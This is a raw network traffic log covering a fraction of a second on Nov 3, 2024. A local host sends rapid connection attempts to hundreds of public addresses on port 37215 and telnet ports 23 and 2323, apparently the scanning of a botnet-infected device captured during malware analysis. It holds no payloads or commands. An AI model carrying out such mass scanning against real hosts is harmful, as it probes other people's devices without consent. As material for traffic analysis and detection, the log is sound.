Nov 3, 2024 15:33:17.282716990 CET	4847	37215	192.168.2.14	156.86.93.193
Nov 3, 2024 15:33:17.282718897 CET	4847	37215	192.168.2.14	197.74.181.207
Nov 3, 2024 15:33:17.282718897 CET	4847	37215	192.168.2.14	41.254.222.106
Nov 3, 2024 15:33:17.282726049 CET	4847	37215	192.168.2.14	197.248.143.169
Nov 3, 2024 15:33:17.282727003 CET	4847	37215	192.168.2.14	197.234.42.155
Nov 3, 2024 15:33:17.282727003 CET	4847	37215	192.168.2.14	41.123.29.208
Nov 3, 2024 15:33:17.282727003 CET	4847	37215	192.168.2.14	41.113.10.180
Nov 3, 2024 15:33:17.282727003 CET	4847	37215	192.168.2.14	156.230.216.187
Nov 3, 2024 15:33:17.282727003 CET	4847	37215	192.168.2.14	41.167.147.204
Nov 3, 2024 15:33:17.282732010 CET	4847	37215	192.168.2.14	197.53.206.176
Nov 3, 2024 15:33:17.282732010 CET	4847	37215	192.168.2.14	41.216.39.129
Nov 3, 2024 15:33:17.282732010 CET	4847	37215	192.168.2.14	41.211.214.67
Nov 3, 2024 15:33:17.282738924 CET	4847	37215	192.168.2.14	197.38.115.219
Nov 3, 2024 15:33:17.282738924 CET	4847	37215	192.168.2.14	197.111.210.106
Nov 3, 2024 15:33:17.282738924 CET	4847	37215	192.168.2.14	156.25.24.20
Nov 3, 2024 15:33:17.282738924 CET	4847	37215	192.168.2.14	156.15.242.236
Nov 3, 2024 15:33:17.282741070 CET	4847	37215	192.168.2.14	41.227.100.118
Nov 3, 2024 15:33:17.282742023 CET	4847	37215	192.168.2.14	41.74.252.195
Nov 3, 2024 15:33:17.282741070 CET	4847	37215	192.168.2.14	156.175.91.4
Nov 3, 2024 15:33:17.282743931 CET	4847	37215	192.168.2.14	41.43.220.64
Nov 3, 2024 15:33:17.282747984 CET	4847	37215	192.168.2.14	41.191.60.38
Nov 3, 2024 15:33:17.282747984 CET	4847	37215	192.168.2.14	156.155.91.94
Nov 3, 2024 15:33:17.282757044 CET	4847	37215	192.168.2.14	197.163.27.245
Nov 3, 2024 15:33:17.282761097 CET	4847	37215	192.168.2.14	156.179.180.91
Nov 3, 2024 15:33:17.282761097 CET	4847	37215	192.168.2.14	41.237.97.33
Nov 3, 2024 15:33:17.282778978 CET	4847	37215	192.168.2.14	197.141.217.187
Nov 3, 2024 15:33:17.282780886 CET	4847	37215	192.168.2.14	41.238.131.230
Nov 3, 2024 15:33:17.282784939 CET	4847	37215	192.168.2.14	197.25.75.131
Nov 3, 2024 15:33:17.282797098 CET	4847	37215	192.168.2.14	197.229.18.142
Nov 3, 2024 15:33:17.282805920 CET	4847	37215	192.168.2.14	41.3.94.97
Nov 3, 2024 15:33:17.282819986 CET	4847	37215	192.168.2.14	156.241.201.128
Nov 3, 2024 15:33:17.282824039 CET	4847	37215	192.168.2.14	41.190.120.217
Nov 3, 2024 15:33:17.282826900 CET	4847	37215	192.168.2.14	156.159.29.166
Nov 3, 2024 15:33:17.282835960 CET	4847	37215	192.168.2.14	41.248.129.167
Nov 3, 2024 15:33:17.282847881 CET	4847	37215	192.168.2.14	156.62.155.0
Nov 3, 2024 15:33:17.282865047 CET	4847	37215	192.168.2.14	156.234.124.150
Nov 3, 2024 15:33:17.282865047 CET	4847	37215	192.168.2.14	156.116.188.174
Nov 3, 2024 15:33:17.282865047 CET	4847	37215	192.168.2.14	41.22.250.126
Nov 3, 2024 15:33:17.282867908 CET	4847	37215	192.168.2.14	41.96.127.121
Nov 3, 2024 15:33:17.282871962 CET	4847	37215	192.168.2.14	197.214.73.74
Nov 3, 2024 15:33:17.282891035 CET	4847	37215	192.168.2.14	197.241.77.113
Nov 3, 2024 15:33:17.282891035 CET	4847	37215	192.168.2.14	41.132.33.57
Nov 3, 2024 15:33:17.282893896 CET	4847	37215	192.168.2.14	41.236.3.242
Nov 3, 2024 15:33:17.282902002 CET	4847	37215	192.168.2.14	156.54.2.49
Nov 3, 2024 15:33:17.282908916 CET	4847	37215	192.168.2.14	41.78.204.133
Nov 3, 2024 15:33:17.282922029 CET	4847	37215	192.168.2.14	197.29.36.251
Nov 3, 2024 15:33:17.282923937 CET	4847	37215	192.168.2.14	156.39.228.108
Nov 3, 2024 15:33:17.282924891 CET	4847	37215	192.168.2.14	197.155.175.100
Nov 3, 2024 15:33:17.282933950 CET	4847	37215	192.168.2.14	41.104.205.157
Nov 3, 2024 15:33:17.282936096 CET	4847	37215	192.168.2.14	197.214.238.212
Nov 3, 2024 15:33:17.282943010 CET	4847	37215	192.168.2.14	156.36.153.237
Nov 3, 2024 15:33:17.282947063 CET	4847	37215	192.168.2.14	197.242.52.215
Nov 3, 2024 15:33:17.282953024 CET	4847	37215	192.168.2.14	197.153.153.160
Nov 3, 2024 15:33:17.282964945 CET	4847	37215	192.168.2.14	156.30.7.134
Nov 3, 2024 15:33:17.282967091 CET	4847	37215	192.168.2.14	41.119.63.110
Nov 3, 2024 15:33:17.282977104 CET	4847	37215	192.168.2.14	197.243.184.168
Nov 3, 2024 15:33:17.282982111 CET	4847	37215	192.168.2.14	41.136.65.40
Nov 3, 2024 15:33:17.282990932 CET	4847	37215	192.168.2.14	41.101.231.219
Nov 3, 2024 15:33:17.283004045 CET	4847	37215	192.168.2.14	156.67.201.216
Nov 3, 2024 15:33:17.283004999 CET	4847	37215	192.168.2.14	156.193.188.196
Nov 3, 2024 15:33:17.283023119 CET	4847	37215	192.168.2.14	41.127.33.202
Nov 3, 2024 15:33:17.283023119 CET	4847	37215	192.168.2.14	197.13.36.124
Nov 3, 2024 15:33:17.283032894 CET	4847	37215	192.168.2.14	156.66.35.220
Nov 3, 2024 15:33:17.283046961 CET	4847	37215	192.168.2.14	156.246.148.64
Nov 3, 2024 15:33:17.283046961 CET	4847	37215	192.168.2.14	197.170.230.83
Nov 3, 2024 15:33:17.283051968 CET	4847	37215	192.168.2.14	41.197.106.186
Nov 3, 2024 15:33:17.283061981 CET	4847	37215	192.168.2.14	41.157.154.253
Nov 3, 2024 15:33:17.283061981 CET	4847	37215	192.168.2.14	156.88.13.114
Nov 3, 2024 15:33:17.283072948 CET	4847	37215	192.168.2.14	197.101.70.108
Nov 3, 2024 15:33:17.283077002 CET	4847	37215	192.168.2.14	156.187.73.113
Nov 3, 2024 15:33:17.283080101 CET	4847	37215	192.168.2.14	197.185.19.168
Nov 3, 2024 15:33:17.283087969 CET	4847	37215	192.168.2.14	197.243.154.110
Nov 3, 2024 15:33:17.283097982 CET	4847	37215	192.168.2.14	156.106.16.188
Nov 3, 2024 15:33:17.283103943 CET	4847	37215	192.168.2.14	156.10.111.246
Nov 3, 2024 15:33:17.283113956 CET	4847	37215	192.168.2.14	197.48.219.180
Nov 3, 2024 15:33:17.283126116 CET	4847	37215	192.168.2.14	156.226.6.214
Nov 3, 2024 15:33:17.283129930 CET	4847	37215	192.168.2.14	156.138.212.230
Nov 3, 2024 15:33:17.283142090 CET	4847	37215	192.168.2.14	156.104.225.250
Nov 3, 2024 15:33:17.283152103 CET	4847	37215	192.168.2.14	197.102.173.151
Nov 3, 2024 15:33:17.283154011 CET	4847	37215	192.168.2.14	197.63.147.105
Nov 3, 2024 15:33:17.283166885 CET	4847	37215	192.168.2.14	41.75.198.53
Nov 3, 2024 15:33:17.283166885 CET	4847	37215	192.168.2.14	197.172.242.108
Nov 3, 2024 15:33:17.283175945 CET	4847	37215	192.168.2.14	41.186.178.150
Nov 3, 2024 15:33:17.283185005 CET	4847	37215	192.168.2.14	197.194.126.175
Nov 3, 2024 15:33:17.283193111 CET	4847	37215	192.168.2.14	156.211.21.123
Nov 3, 2024 15:33:17.283205986 CET	4847	37215	192.168.2.14	156.54.183.18
Nov 3, 2024 15:33:17.283215046 CET	4847	37215	192.168.2.14	156.145.201.7
Nov 3, 2024 15:33:17.283215046 CET	4847	37215	192.168.2.14	41.103.194.175
Nov 3, 2024 15:33:17.283222914 CET	4847	37215	192.168.2.14	156.254.100.4
Nov 3, 2024 15:33:17.283235073 CET	4847	37215	192.168.2.14	156.135.201.174
Nov 3, 2024 15:33:17.283236027 CET	4847	37215	192.168.2.14	156.217.96.173
Nov 3, 2024 15:33:17.283247948 CET	4847	37215	192.168.2.14	41.193.88.134
Nov 3, 2024 15:33:17.283262968 CET	4847	37215	192.168.2.14	41.127.237.49
Nov 3, 2024 15:33:17.283266068 CET	4847	37215	192.168.2.14	156.42.253.142
Nov 3, 2024 15:33:17.283276081 CET	4847	37215	192.168.2.14	156.209.240.208
Nov 3, 2024 15:33:17.283281088 CET	4847	37215	192.168.2.14	197.207.164.38
Nov 3, 2024 15:33:17.283294916 CET	4847	37215	192.168.2.14	41.95.83.52
Nov 3, 2024 15:33:17.283298969 CET	4847	37215	192.168.2.14	197.69.82.30
Nov 3, 2024 15:33:17.283322096 CET	4847	37215	192.168.2.14	197.51.243.13
Nov 3, 2024 15:33:17.283323050 CET	4847	37215	192.168.2.14	41.71.240.226
Nov 3, 2024 15:33:17.283330917 CET	4847	37215	192.168.2.14	156.31.131.10
Nov 3, 2024 15:33:17.283332109 CET	4847	37215	192.168.2.14	41.144.117.206
Nov 3, 2024 15:33:17.283335924 CET	4847	37215	192.168.2.14	197.71.142.77
Nov 3, 2024 15:33:17.283351898 CET	4847	37215	192.168.2.14	156.66.18.64
Nov 3, 2024 15:33:17.283358097 CET	4847	37215	192.168.2.14	197.24.31.179
Nov 3, 2024 15:33:17.283360958 CET	4847	37215	192.168.2.14	156.244.93.226
Nov 3, 2024 15:33:17.283375978 CET	4847	37215	192.168.2.14	156.58.98.156
Nov 3, 2024 15:33:17.283380032 CET	4847	37215	192.168.2.14	197.91.192.162
Nov 3, 2024 15:33:17.283381939 CET	4847	37215	192.168.2.14	197.56.208.249
Nov 3, 2024 15:33:17.283382893 CET	4847	37215	192.168.2.14	197.184.134.14
Nov 3, 2024 15:33:17.283382893 CET	4847	37215	192.168.2.14	156.120.250.119
Nov 3, 2024 15:33:17.283396959 CET	4847	37215	192.168.2.14	197.197.169.163
Nov 3, 2024 15:33:17.283413887 CET	4847	37215	192.168.2.14	156.6.15.152
Nov 3, 2024 15:33:17.283415079 CET	4847	37215	192.168.2.14	156.206.11.148
Nov 3, 2024 15:33:17.283421040 CET	4847	37215	192.168.2.14	41.157.36.239
Nov 3, 2024 15:33:17.283421993 CET	4847	37215	192.168.2.14	197.241.105.1
Nov 3, 2024 15:33:17.283421993 CET	4847	37215	192.168.2.14	156.134.20.75
Nov 3, 2024 15:33:17.283427954 CET	4847	37215	192.168.2.14	156.136.140.23
Nov 3, 2024 15:33:17.283436060 CET	4847	37215	192.168.2.14	156.52.252.196
Nov 3, 2024 15:33:17.283443928 CET	4847	37215	192.168.2.14	41.207.233.127
Nov 3, 2024 15:33:17.283452034 CET	4847	37215	192.168.2.14	156.101.227.198
Nov 3, 2024 15:33:17.283453941 CET	4847	37215	192.168.2.14	197.154.61.101
Nov 3, 2024 15:33:17.283467054 CET	4847	37215	192.168.2.14	156.150.181.47
Nov 3, 2024 15:33:17.283468008 CET	4847	37215	192.168.2.14	197.101.167.43
Nov 3, 2024 15:33:17.283485889 CET	4847	37215	192.168.2.14	197.112.51.140
Nov 3, 2024 15:33:17.283485889 CET	4847	37215	192.168.2.14	156.112.42.116
Nov 3, 2024 15:33:17.283487082 CET	4847	37215	192.168.2.14	156.194.8.226
Nov 3, 2024 15:33:17.283507109 CET	4847	37215	192.168.2.14	41.31.187.143
Nov 3, 2024 15:33:17.283507109 CET	4847	37215	192.168.2.14	41.13.86.181
Nov 3, 2024 15:33:17.283516884 CET	4847	37215	192.168.2.14	41.94.238.135
Nov 3, 2024 15:33:17.283520937 CET	4847	37215	192.168.2.14	41.100.41.82
Nov 3, 2024 15:33:17.283526897 CET	4847	37215	192.168.2.14	41.133.155.15
Nov 3, 2024 15:33:17.283539057 CET	4847	37215	192.168.2.14	41.177.143.189
Nov 3, 2024 15:33:17.283546925 CET	4847	37215	192.168.2.14	197.84.49.66
Nov 3, 2024 15:33:17.283552885 CET	4847	37215	192.168.2.14	41.137.187.220
Nov 3, 2024 15:33:17.283555984 CET	4847	37215	192.168.2.14	156.103.76.236
Nov 3, 2024 15:33:17.283565998 CET	4847	37215	192.168.2.14	197.73.4.142
Nov 3, 2024 15:33:17.283740997 CET	57208	37215	192.168.2.14	197.242.202.49
Nov 3, 2024 15:33:17.283740997 CET	41404	37215	192.168.2.14	156.32.202.74
Nov 3, 2024 15:33:17.283754110 CET	56470	37215	192.168.2.14	41.39.192.109
Nov 3, 2024 15:33:17.283776045 CET	38958	37215	192.168.2.14	156.148.197.220
Nov 3, 2024 15:33:17.283783913 CET	38958	37215	192.168.2.14	156.148.197.220
Nov 3, 2024 15:33:17.284194946 CET	39094	37215	192.168.2.14	156.148.197.220
Nov 3, 2024 15:33:17.284646988 CET	40058	37215	192.168.2.14	156.66.70.102
Nov 3, 2024 15:33:17.284646988 CET	58212	37215	192.168.2.14	197.195.63.25
Nov 3, 2024 15:33:17.284661055 CET	44954	37215	192.168.2.14	156.123.218.251
Nov 3, 2024 15:33:17.284665108 CET	35418	37215	192.168.2.14	197.185.36.5
Nov 3, 2024 15:33:17.284674883 CET	56258	37215	192.168.2.14	41.101.178.225
Nov 3, 2024 15:33:17.284678936 CET	33394	37215	192.168.2.14	197.128.126.224
Nov 3, 2024 15:33:17.284706116 CET	36234	37215	192.168.2.14	41.234.21.108
Nov 3, 2024 15:33:17.284737110 CET	52636	37215	192.168.2.14	197.240.156.4
Nov 3, 2024 15:33:17.284737110 CET	52636	37215	192.168.2.14	197.240.156.4
Nov 3, 2024 15:33:17.285073996 CET	52798	37215	192.168.2.14	197.240.156.4
Nov 3, 2024 15:33:17.287385941 CET	37215	4847	156.236.220.49	192.168.2.14
Nov 3, 2024 15:33:17.287446022 CET	37215	4847	197.73.146.1	192.168.2.14
Nov 3, 2024 15:33:17.287456036 CET	2323	4833	105.204.16.166	192.168.2.14
Nov 3, 2024 15:33:17.287461042 CET	4847	37215	192.168.2.14	156.236.220.49
Nov 3, 2024 15:33:17.287466049 CET	23	4833	97.40.231.69	192.168.2.14
Nov 3, 2024 15:33:17.287477970 CET	37215	4847	197.248.173.139	192.168.2.14
Nov 3, 2024 15:33:17.287483931 CET	4847	37215	192.168.2.14	197.73.146.1
Nov 3, 2024 15:33:17.287483931 CET	4833	2323	192.168.2.14	105.204.16.166
Nov 3, 2024 15:33:17.287487030 CET	37215	4847	197.48.220.91	192.168.2.14
Nov 3, 2024 15:33:17.287492990 CET	23	4833	59.36.130.209	192.168.2.14
Nov 3, 2024 15:33:17.287503958 CET	4833	23	192.168.2.14	97.40.231.69
Nov 3, 2024 15:33:17.287532091 CET	4833	23	192.168.2.14	59.36.130.209
Nov 3, 2024 15:33:17.287533998 CET	4847	37215	192.168.2.14	197.248.173.139
Nov 3, 2024 15:33:17.287533998 CET	4847	37215	192.168.2.14	197.48.220.91
Nov 3, 2024 15:33:17.287559032 CET	37215	4847	41.99.40.203	192.168.2.14
Nov 3, 2024 15:33:17.287569046 CET	23	4833	43.204.228.86	192.168.2.14
Nov 3, 2024 15:33:17.287578106 CET	37215	4847	41.48.54.7	192.168.2.14
Nov 3, 2024 15:33:17.287586927 CET	23	4833	83.171.212.157	192.168.2.14
Nov 3, 2024 15:33:17.287595034 CET	23	4833	113.44.206.239	192.168.2.14
Nov 3, 2024 15:33:17.287599087 CET	4847	37215	192.168.2.14	41.99.40.203
Nov 3, 2024 15:33:17.287604094 CET	4833	23	192.168.2.14	43.204.228.86
Nov 3, 2024 15:33:17.287604094 CET	23	4833	126.102.46.44	192.168.2.14
Nov 3, 2024 15:33:17.287619114 CET	4833	23	192.168.2.14	83.171.212.157
Nov 3, 2024 15:33:17.287620068 CET	4847	37215	192.168.2.14	41.48.54.7
Nov 3, 2024 15:33:17.287623882 CET	4833	23	192.168.2.14	113.44.206.239
Nov 3, 2024 15:33:17.287628889 CET	4833	23	192.168.2.14	126.102.46.44
Nov 3, 2024 15:33:17.287631035 CET	23	4833	115.113.210.118	192.168.2.14
Nov 3, 2024 15:33:17.287642956 CET	23	4833	186.142.107.61	192.168.2.14
Nov 3, 2024 15:33:17.287652016 CET	37215	4847	41.151.100.97	192.168.2.14
Nov 3, 2024 15:33:17.287661076 CET	37215	4847	197.31.3.92	192.168.2.14
Nov 3, 2024 15:33:17.287668943 CET	4833	23	192.168.2.14	115.113.210.118
Nov 3, 2024 15:33:17.287674904 CET	4833	23	192.168.2.14	186.142.107.61
Nov 3, 2024 15:33:17.287678003 CET	37215	4847	156.171.7.70	192.168.2.14
Nov 3, 2024 15:33:17.287688017 CET	23	4833	156.245.27.198	192.168.2.14
Nov 3, 2024 15:33:17.287692070 CET	4847	37215	192.168.2.14	197.31.3.92
Nov 3, 2024 15:33:17.287693024 CET	4847	37215	192.168.2.14	41.151.100.97
Nov 3, 2024 15:33:17.287698030 CET	23	4833	32.135.75.255	192.168.2.14
Nov 3, 2024 15:33:17.287704945 CET	4847	37215	192.168.2.14	156.171.7.70
Nov 3, 2024 15:33:17.287707090 CET	2323	4833	115.192.132.184	192.168.2.14
Nov 3, 2024 15:33:17.287722111 CET	37215	4847	197.246.174.223	192.168.2.14
Nov 3, 2024 15:33:17.287730932 CET	23	4833	185.205.222.249	192.168.2.14
Nov 3, 2024 15:33:17.287734985 CET	37215	4847	41.208.58.124	192.168.2.14
Nov 3, 2024 15:33:17.287744045 CET	23	4833	209.22.145.169	192.168.2.14
Nov 3, 2024 15:33:17.287744045 CET	4833	23	192.168.2.14	156.245.27.198
Nov 3, 2024 15:33:17.287753105 CET	4833	23	192.168.2.14	32.135.75.255
Nov 3, 2024 15:33:17.287753105 CET	4847	37215	192.168.2.14	41.208.58.124
Nov 3, 2024 15:33:17.287754059 CET	4833	2323	192.168.2.14	115.192.132.184
Nov 3, 2024 15:33:17.287754059 CET	4847	37215	192.168.2.14	197.246.174.223
Nov 3, 2024 15:33:17.287764072 CET	4833	23	192.168.2.14	185.205.222.249
Nov 3, 2024 15:33:17.287765026 CET	37215	4847	41.247.3.12	192.168.2.14
Nov 3, 2024 15:33:17.287774086 CET	37215	4847	197.70.213.143	192.168.2.14
Nov 3, 2024 15:33:17.287779093 CET	4833	23	192.168.2.14	209.22.145.169
Nov 3, 2024 15:33:17.287782907 CET	37215	4847	197.169.145.137	192.168.2.14
Nov 3, 2024 15:33:17.287805080 CET	4847	37215	192.168.2.14	41.247.3.12
Nov 3, 2024 15:33:17.287806988 CET	4847	37215	192.168.2.14	197.70.213.143
Nov 3, 2024 15:33:17.287812948 CET	4847	37215	192.168.2.14	197.169.145.137
Nov 3, 2024 15:33:17.288292885 CET	37215	35890	197.149.118.43	192.168.2.14
Nov 3, 2024 15:33:17.288302898 CET	23	4833	27.178.86.136	192.168.2.14
Nov 3, 2024 15:33:17.288311958 CET	23	4833	86.35.249.57	192.168.2.14
Nov 3, 2024 15:33:17.288321018 CET	37215	4847	156.93.83.238	192.168.2.14
Nov 3, 2024 15:33:17.288330078 CET	35890	37215	192.168.2.14	197.149.118.43
Nov 3, 2024 15:33:17.288331985 CET	37215	4847	156.116.127.91	192.168.2.14
Nov 3, 2024 15:33:17.288341045 CET	37215	4847	197.104.78.102	192.168.2.14
Nov 3, 2024 15:33:17.288347960 CET	4833	23	192.168.2.14	27.178.86.136
Nov 3, 2024 15:33:17.288351059 CET	23	39076	222.182.50.241	192.168.2.14
Nov 3, 2024 15:33:17.288348913 CET	4833	23	192.168.2.14	86.35.249.57
Nov 3, 2024 15:33:17.288357019 CET	4847	37215	192.168.2.14	156.93.83.238
Nov 3, 2024 15:33:17.288357019 CET	4847	37215	192.168.2.14	156.116.127.91
Nov 3, 2024 15:33:17.288381100 CET	4847	37215	192.168.2.14	197.104.78.102
Nov 3, 2024 15:33:17.288393021 CET	23	4833	165.249.26.2	192.168.2.14
Nov 3, 2024 15:33:17.288403988 CET	37215	4847	156.145.243.167	192.168.2.14
Nov 3, 2024 15:33:17.288413048 CET	37215	4847	41.10.66.5	192.168.2.14
Nov 3, 2024 15:33:17.288419008 CET	39076	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:17.288422108 CET	2323	40244	178.15.19.233	192.168.2.14
Nov 3, 2024 15:33:17.288429976 CET	4847	37215	192.168.2.14	156.145.243.167
Nov 3, 2024 15:33:17.288431883 CET	37215	4847	41.66.75.51	192.168.2.14
Nov 3, 2024 15:33:17.288431883 CET	4833	23	192.168.2.14	165.249.26.2
Nov 3, 2024 15:33:17.288440943 CET	23	4833	193.242.19.219	192.168.2.14
Nov 3, 2024 15:33:17.288448095 CET	23	4833	202.204.31.176	192.168.2.14
Nov 3, 2024 15:33:17.288450956 CET	4847	37215	192.168.2.14	41.10.66.5
Nov 3, 2024 15:33:17.288456917 CET	23	41980	153.59.235.162	192.168.2.14
Nov 3, 2024 15:33:17.288465023 CET	37215	4847	197.150.188.104	192.168.2.14
Nov 3, 2024 15:33:17.288470984 CET	4847	37215	192.168.2.14	41.66.75.51
Nov 3, 2024 15:33:17.288472891 CET	4833	23	192.168.2.14	193.242.19.219
Nov 3, 2024 15:33:17.288472891 CET	37215	4847	197.180.113.154	192.168.2.14
Nov 3, 2024 15:33:17.288482904 CET	4833	23	192.168.2.14	202.204.31.176
Nov 3, 2024 15:33:17.288492918 CET	37215	4847	156.238.39.182	192.168.2.14
Nov 3, 2024 15:33:17.288494110 CET	4847	37215	192.168.2.14	197.150.188.104
Nov 3, 2024 15:33:17.288511992 CET	37215	33394	197.128.126.224	192.168.2.14
Nov 3, 2024 15:33:17.288512945 CET	4847	37215	192.168.2.14	197.180.113.154
Nov 3, 2024 15:33:17.288517952 CET	41980	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:17.288522005 CET	40244	2323	192.168.2.14	178.15.19.233
Nov 3, 2024 15:33:17.288530111 CET	37215	4847	41.110.237.55	192.168.2.14
Nov 3, 2024 15:33:17.288533926 CET	4847	37215	192.168.2.14	156.238.39.182
Nov 3, 2024 15:33:17.288538933 CET	37215	4847	41.74.228.50	192.168.2.14
Nov 3, 2024 15:33:17.288547993 CET	2323	4833	44.129.16.149	192.168.2.14
Nov 3, 2024 15:33:17.288551092 CET	33394	37215	192.168.2.14	197.128.126.224
Nov 3, 2024 15:33:17.288556099 CET	23	33170	154.129.35.126	192.168.2.14
Nov 3, 2024 15:33:17.288563967 CET	4847	37215	192.168.2.14	41.110.237.55
Nov 3, 2024 15:33:17.288572073 CET	23	4833	61.118.129.80	192.168.2.14
Nov 3, 2024 15:33:17.288578987 CET	4833	2323	192.168.2.14	44.129.16.149
Nov 3, 2024 15:33:17.288579941 CET	4847	37215	192.168.2.14	41.74.228.50
Nov 3, 2024 15:33:17.288587093 CET	37215	4847	156.34.251.9	192.168.2.14
Nov 3, 2024 15:33:17.288597107 CET	37215	4847	156.35.157.111	192.168.2.14
Nov 3, 2024 15:33:17.288605928 CET	37215	4847	41.63.77.178	192.168.2.14
Nov 3, 2024 15:33:17.288609028 CET	4833	23	192.168.2.14	61.118.129.80
Nov 3, 2024 15:33:17.288614035 CET	37215	52636	197.240.156.4	192.168.2.14
Nov 3, 2024 15:33:17.288619995 CET	4847	37215	192.168.2.14	156.34.251.9
Nov 3, 2024 15:33:17.288624048 CET	23	4833	36.1.76.58	192.168.2.14
Nov 3, 2024 15:33:17.288628101 CET	23	4833	159.108.185.109	192.168.2.14
Nov 3, 2024 15:33:17.288631916 CET	37215	4847	156.250.189.52	192.168.2.14
Nov 3, 2024 15:33:17.288633108 CET	4847	37215	192.168.2.14	156.35.157.111
Nov 3, 2024 15:33:17.288635015 CET	4847	37215	192.168.2.14	41.63.77.178
Nov 3, 2024 15:33:17.288640976 CET	37215	35418	197.185.36.5	192.168.2.14
Nov 3, 2024 15:33:17.288650036 CET	23	4833	89.247.127.123	192.168.2.14
Nov 3, 2024 15:33:17.288659096 CET	37215	4847	156.174.223.1	192.168.2.14
Nov 3, 2024 15:33:17.288666964 CET	37215	4847	41.207.100.86	192.168.2.14
Nov 3, 2024 15:33:17.288667917 CET	52636	37215	192.168.2.14	197.240.156.4
Nov 3, 2024 15:33:17.288671970 CET	37215	4847	156.127.16.123	192.168.2.14
Nov 3, 2024 15:33:17.288672924 CET	4833	23	192.168.2.14	36.1.76.58
Nov 3, 2024 15:33:17.288672924 CET	4833	23	192.168.2.14	159.108.185.109
Nov 3, 2024 15:33:17.288672924 CET	4847	37215	192.168.2.14	156.250.189.52
Nov 3, 2024 15:33:17.288680077 CET	37215	36234	41.234.21.108	192.168.2.14
Nov 3, 2024 15:33:17.288683891 CET	35418	37215	192.168.2.14	197.185.36.5
Nov 3, 2024 15:33:17.288691044 CET	4833	23	192.168.2.14	89.247.127.123
Nov 3, 2024 15:33:17.288692951 CET	37215	56258	41.101.178.225	192.168.2.14
Nov 3, 2024 15:33:17.288696051 CET	4847	37215	192.168.2.14	156.174.223.1
Nov 3, 2024 15:33:17.288702011 CET	37215	44954	156.123.218.251	192.168.2.14
Nov 3, 2024 15:33:17.288702965 CET	4847	37215	192.168.2.14	156.127.16.123
Nov 3, 2024 15:33:17.288702965 CET	4847	37215	192.168.2.14	41.207.100.86
Nov 3, 2024 15:33:17.288717031 CET	36234	37215	192.168.2.14	41.234.21.108
Nov 3, 2024 15:33:17.288727999 CET	56258	37215	192.168.2.14	41.101.178.225
Nov 3, 2024 15:33:17.288732052 CET	44954	37215	192.168.2.14	156.123.218.251
Nov 3, 2024 15:33:17.288866043 CET	39230	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:17.288880110 CET	23	44074	46.238.193.200	192.168.2.14
Nov 3, 2024 15:33:17.288889885 CET	23	4833	71.54.80.239	192.168.2.14
Nov 3, 2024 15:33:17.288898945 CET	23	4833	92.211.140.219	192.168.2.14
Nov 3, 2024 15:33:17.288938046 CET	4833	23	192.168.2.14	92.211.140.219
Nov 3, 2024 15:33:17.288938999 CET	4833	23	192.168.2.14	71.54.80.239
Nov 3, 2024 15:33:17.288973093 CET	23	4833	102.42.183.124	192.168.2.14
Nov 3, 2024 15:33:17.288981915 CET	37215	41404	156.32.202.74	192.168.2.14
Nov 3, 2024 15:33:17.288990974 CET	23	4833	39.121.14.33	192.168.2.14
Nov 3, 2024 15:33:17.288999081 CET	23	4833	135.216.90.138	192.168.2.14
Nov 3, 2024 15:33:17.289009094 CET	37215	4847	197.102.181.219	192.168.2.14
Nov 3, 2024 15:33:17.289016008 CET	23	4833	156.229.225.140	192.168.2.14
Nov 3, 2024 15:33:17.289021015 CET	37215	4847	197.230.133.127	192.168.2.14
Nov 3, 2024 15:33:17.289021015 CET	4833	23	192.168.2.14	102.42.183.124
Nov 3, 2024 15:33:17.289025068 CET	23	4833	59.59.132.151	192.168.2.14
Nov 3, 2024 15:33:17.289030075 CET	41404	37215	192.168.2.14	156.32.202.74
Nov 3, 2024 15:33:17.289030075 CET	2323	4833	161.224.161.202	192.168.2.14
Nov 3, 2024 15:33:17.289038897 CET	37215	4847	156.62.76.141	192.168.2.14
Nov 3, 2024 15:33:17.289041042 CET	4833	23	192.168.2.14	39.121.14.33
Nov 3, 2024 15:33:17.289046049 CET	4833	23	192.168.2.14	135.216.90.138
Nov 3, 2024 15:33:17.289047956 CET	23	4833	217.5.110.114	192.168.2.14
Nov 3, 2024 15:33:17.289057016 CET	37215	4847	41.190.109.206	192.168.2.14
Nov 3, 2024 15:33:17.289064884 CET	4833	23	192.168.2.14	156.229.225.140
Nov 3, 2024 15:33:17.289064884 CET	4847	37215	192.168.2.14	197.102.181.219
Nov 3, 2024 15:33:17.289067030 CET	4847	37215	192.168.2.14	197.230.133.127
Nov 3, 2024 15:33:17.289067984 CET	4833	2323	192.168.2.14	161.224.161.202
Nov 3, 2024 15:33:17.289069891 CET	4833	23	192.168.2.14	59.59.132.151
Nov 3, 2024 15:33:17.289069891 CET	4847	37215	192.168.2.14	156.62.76.141
Nov 3, 2024 15:33:17.289083958 CET	4833	23	192.168.2.14	217.5.110.114
Nov 3, 2024 15:33:17.289088011 CET	4847	37215	192.168.2.14	41.190.109.206
Nov 3, 2024 15:33:17.289277077 CET	37215	41404	156.32.202.74	192.168.2.14
Nov 3, 2024 15:33:17.289287090 CET	37215	38958	156.148.197.220	192.168.2.14
Nov 3, 2024 15:33:17.289294958 CET	37215	58212	197.195.63.25	192.168.2.14
Nov 3, 2024 15:33:17.289303064 CET	37215	56470	41.39.192.109	192.168.2.14
Nov 3, 2024 15:33:17.289311886 CET	37215	57208	197.242.202.49	192.168.2.14
Nov 3, 2024 15:33:17.289319992 CET	37215	40058	156.66.70.102	192.168.2.14
Nov 3, 2024 15:33:17.289326906 CET	58212	37215	192.168.2.14	197.195.63.25
Nov 3, 2024 15:33:17.289329052 CET	56470	37215	192.168.2.14	41.39.192.109
Nov 3, 2024 15:33:17.289344072 CET	40058	37215	192.168.2.14	156.66.70.102
Nov 3, 2024 15:33:17.289346933 CET	57208	37215	192.168.2.14	197.242.202.49
Nov 3, 2024 15:33:17.289609909 CET	37215	40058	156.66.70.102	192.168.2.14
Nov 3, 2024 15:33:17.289618015 CET	37215	58212	197.195.63.25	192.168.2.14
Nov 3, 2024 15:33:17.289625883 CET	37215	44954	156.123.218.251	192.168.2.14
Nov 3, 2024 15:33:17.289637089 CET	37215	35418	197.185.36.5	192.168.2.14
Nov 3, 2024 15:33:17.289644957 CET	37215	56258	41.101.178.225	192.168.2.14
Nov 3, 2024 15:33:17.289653063 CET	37215	33394	197.128.126.224	192.168.2.14
Nov 3, 2024 15:33:17.289664030 CET	34414	2323	192.168.2.14	105.204.16.166
Nov 3, 2024 15:33:17.289669991 CET	37215	36234	41.234.21.108	192.168.2.14
